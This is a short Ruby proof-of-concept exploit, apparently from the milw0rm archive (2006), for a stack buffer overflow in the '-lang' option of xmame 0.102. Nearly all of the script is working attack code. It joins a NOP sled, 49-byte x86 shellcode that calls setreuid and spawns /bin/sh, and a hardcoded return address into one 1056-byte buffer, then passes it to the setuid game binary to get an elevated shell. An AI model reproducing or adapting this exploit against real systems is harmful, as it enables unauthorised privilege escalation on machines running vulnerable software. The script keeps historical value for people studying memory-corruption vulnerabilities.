34 lines
No EOL
1 KiB
Ruby
Executable file
34 lines
No EOL
1 KiB
Ruby
Executable file
#!/usr/bin/ruby
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#
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# One of the PoC code for xmame "-lang" options.
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# Advisory is base on : http://kerneltrap.org/node/6055
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#
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# by xwings at mysec dot org
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# url : http://www.mysec.org , new website
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# Tested on :
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# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
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# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
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# xmame 0.102 , ./configure && make && make install
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#
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#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
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shellcode = "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
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"\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
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"\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
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"\x31\xdb\xcd\x80"
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vulnpath = "/usr/games/xmame.x11"
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argvopt = "-lang"
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ret = (0xbfffe8da)
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retadd = ([ret].pack('V'))
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nops = ("\x90" * (1056 - (shellcode.length + retadd.length)))
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buffer = nops+shellcode+retadd
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system(vulnpath,argvopt,buffer)
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# milw0rm.com [2006-01-10] |